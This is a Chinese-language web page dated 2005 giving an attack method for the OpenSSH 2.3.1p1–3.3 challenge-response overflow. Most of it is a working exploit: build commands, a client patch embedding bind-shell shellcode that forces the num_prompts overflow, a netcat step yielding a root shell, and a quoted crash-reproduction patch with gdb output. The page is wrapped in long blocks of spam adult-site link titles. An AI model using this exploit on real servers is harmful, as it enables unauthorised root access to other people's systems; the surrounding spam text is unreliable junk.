国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

OpenSSH 溢出攻擊方法
2005-11-25   

在OpenSSH 2.3.1p1到3.3版本中,關于挑戰反應處理代碼存在安全性缺陷。允許遠程入侵者以sshd(通常是root)進程的身份執行任意指令。
第一個缺陷是因為在挑戰反應認證過程中,OpenSSH在處理關于收到的響應次數的變量上存在整型溢出風險,如果挑戰反應設置為打開,并且系統使用SKEY或者BSD_AUTH認證選項,則允許攻擊者利用此缺陷遠程執行任意指令。這個漏洞已經被證實。
第二個缺陷牽涉到使用交互式鍵盤認證的PAM模塊, OpenSSH 2.3.1p1~3.3版本。OpenSSH在處理關于收到的響應次數的變量上存在緩沖溢出風險,不論挑戰反應設置如何,系統使用交互式鍵盤認證的PAM模塊(PAMAuthenticationViaKbdInt),可能會導致允許遠程非法執行指令的風險。目前尚未有代碼證實是否能達到攻擊效果。
對這兩個缺陷的攻擊,都建立在使用SSH ver2的版本特征上。
多個Linux/Unix平臺受該漏洞影響。
============================================================
攻擊方法:
1. 下載 openssh-3.2.2p1.tar.gz 并解壓
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. 執行提供的補丁: (將下方補丁文件存為path_to_diff_file)
~/openssh-3.2.2p1 $ patch < path_to_diff_file
3. 編譯已經打過補丁的OpenSSH客戶端:
~/openssh-3.2.2p1 $ ./configure && make ssh
4. 運行ssh:
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
5. 如果成功,則可連接128端口
~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
(除此之外,bugtraq.org提供了一個打過補丁的SSH攻擊客戶端:sshutup-theo.tar.gz)
===========補丁文件===============
--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);
- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
===========END 補丁文件===============
附加信息:
How to reproduce OpenSSH Overflow.
The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.
The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):
0.) Compile with PAM and S/KEY support.
1.) Apply the following patch to the ssh client:
- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);
num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */
2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.
3.) Connect to sshd using the modified client.
Note: valid credentials are not required.
On the server side, you'll see:
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Comments are much appreciated.
- Joe
相關站點:
http://www.kb.cert.org/vuls/id/369347

熱詞搜索:

上一篇:LINUX遠程管理工具SSH指南
下一篇:建設qmail服務器的病毒防護系統

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
一区二区视频免费在线观看| 五月天一区二区三区| 偷拍亚洲欧洲综合| 欧美三级在线视频| 免费看日韩精品| 精品久久久久久亚洲综合网| 国产夫妻精品视频| 亚洲精品成人精品456| 91福利在线导航| 免费成人av在线| 欧美国产精品专区| 欧美午夜精品久久久久久超碰 | 91免费看视频| 亚洲男人电影天堂| 精品国产免费一区二区三区四区| 国产99精品国产| 日本亚洲三级在线| 国产精品乱子久久久久| 91超碰这里只有精品国产| 成人综合婷婷国产精品久久蜜臀 | 成人不卡免费av| 日日摸夜夜添夜夜添精品视频| 久久久夜色精品亚洲| 欧美日韩一区久久| 99精品久久只有精品| 精品制服美女久久| 一个色妞综合视频在线观看| 久久青草国产手机看片福利盒子| 欧美日韩一区三区| 色综合久久久久久久久久久| 国产精品一区免费视频| 青青青伊人色综合久久| 亚洲一区欧美一区| 亚洲免费视频中文字幕| 中文字幕视频一区| 国产清纯在线一区二区www| 日韩免费电影一区| 91精品国产色综合久久久蜜香臀| 一道本成人在线| 波多野结衣精品在线| 国产麻豆视频精品| 久久99国产精品久久99果冻传媒| 日韩影院精彩在线| 天天影视色香欲综合网老头| 亚洲欧美国产高清| 亚洲免费观看高清完整版在线观看| 国产人成亚洲第一网站在线播放 | 午夜成人在线视频| 悠悠色在线精品| 一区二区成人在线视频| 亚洲美女在线一区| 亚洲精品伦理在线| 国产精品福利一区| 中文字幕一区在线观看视频| 国产精品久久久久久久久免费丝袜 | 久久亚洲精品国产精品紫薇| 日韩免费观看高清完整版在线观看| 91精品国产入口| 日韩视频一区在线观看| 日韩女优制服丝袜电影| 精品久久一区二区三区| 久久综合久久鬼色| 国产精品欧美一区二区三区| 亚洲欧美日韩国产一区二区三区| 亚洲精品日产精品乱码不卡| 午夜精品福利一区二区蜜股av| 日韩国产欧美在线观看| 精品一区二区三区影院在线午夜 | 91精品国产一区二区三区香蕉| 欧美精品色综合| 欧美sm美女调教| 欧美国产丝袜视频| 亚洲成人手机在线| 青青草国产精品97视觉盛宴| 国产精品综合一区二区三区| 成人va在线观看| 欧美午夜在线观看| 欧美白人最猛性xxxxx69交| 久久久.com| 亚洲一区二区三区小说| 精品一区二区三区在线播放 | 91美女片黄在线观看91美女| 精品视频在线免费| 国产亚洲综合在线| 亚洲第一久久影院| 国产成人鲁色资源国产91色综 | 色偷偷久久一区二区三区| 欧美日韩高清影院| 久久精品亚洲一区二区三区浴池| 亚洲精品视频免费看| 国产一区二区在线看| 色婷婷亚洲一区二区三区| 欧美va天堂va视频va在线| 亚洲精品欧美在线| 国产亚洲欧美激情| 日韩激情视频在线观看| 天天操天天色综合| 久久久久综合网| 91麻豆国产自产在线观看| 亚洲夂夂婷婷色拍ww47| 在线国产亚洲欧美| 国产精品一区二区x88av| 国产一区二区福利| 国产乱人伦精品一区二区在线观看| 91精品欧美一区二区三区综合在| 亚洲成人激情综合网| 欧美一区二区三区婷婷月色| 欧美日韩国产综合一区二区三区| 欧美视频在线观看一区二区| 精品一区二区在线看| 91天堂素人约啪| 中文字幕乱码久久午夜不卡 | 精品国产一区二区三区av性色 | 成人性生交大片免费看视频在线| 欧美国产日产图区| 成人免费一区二区三区视频 | 激情综合亚洲精品| 国产一区二区女| 一区二区三区产品免费精品久久75| 狠狠色综合日日| 欧美一区二区视频在线观看2022| 一区二区三区高清| 色综合久久中文综合久久牛| 国产精品黄色在线观看| 大尺度一区二区| 中文字幕+乱码+中文字幕一区| 久久99国产精品久久99果冻传媒| 日韩精品专区在线影院重磅| 日韩av不卡在线观看| 欧美精品在线观看一区二区| 亚洲成人黄色影院| 欧美日韩免费在线视频| 天天综合色天天综合色h| 7777精品伊人久久久大香线蕉经典版下载 | av不卡免费电影| 中文字幕制服丝袜成人av| 不卡免费追剧大全电视剧网站| 久久久久国色av免费看影院| 韩国女主播成人在线观看| 久久久五月婷婷| 国产宾馆实践打屁股91| 国产精品色呦呦| 在线亚洲人成电影网站色www| 伊人夜夜躁av伊人久久| 欧美精品久久一区| 久久精品国产一区二区三| 国产亚洲精品资源在线26u| 风间由美性色一区二区三区| 亚洲精品乱码久久久久久久久 | 欧美剧在线免费观看网站 | 亚洲男同性视频| 在线视频欧美区| 美女网站在线免费欧美精品| 久久久高清一区二区三区| 色婷婷精品久久二区二区蜜臀av| 天堂成人国产精品一区| wwwwxxxxx欧美| 99久久精品国产精品久久| 午夜国产不卡在线观看视频| 欧美精品一区二区精品网| 99精品热视频| 开心九九激情九九欧美日韩精美视频电影| 久久精品在线免费观看| 91国产福利在线| 国产精品资源在线看| 亚洲一区二区三区四区在线| 日韩欧美高清一区| 日本久久电影网| 国产又黄又大久久| 亚洲影院免费观看| 国产亚洲精久久久久久| 精品视频在线免费观看| jiyouzz国产精品久久| 美女视频黄 久久| 伊人夜夜躁av伊人久久| 国产人成一区二区三区影院| 欧美一区二区三区系列电影| 色综合久久久久综合体| 国产成人综合网站| 秋霞av亚洲一区二区三| 一区二区三区不卡在线观看| 国产三级久久久| 日韩欧美视频一区| 欧美午夜片在线观看| a级高清视频欧美日韩| 韩日精品视频一区| 日韩精品欧美精品| 亚洲成人综合视频| 亚洲欧美电影一区二区| 欧美国产日韩在线观看| 久久影音资源网| 日韩女优av电影在线观看| 欧美日韩国产在线播放网站| 一本大道久久a久久综合婷婷| 国产精品一区二区视频| 久久国产三级精品| 蜜乳av一区二区| 极品少妇xxxx精品少妇| 韩国在线一区二区| 国产真实乱对白精彩久久|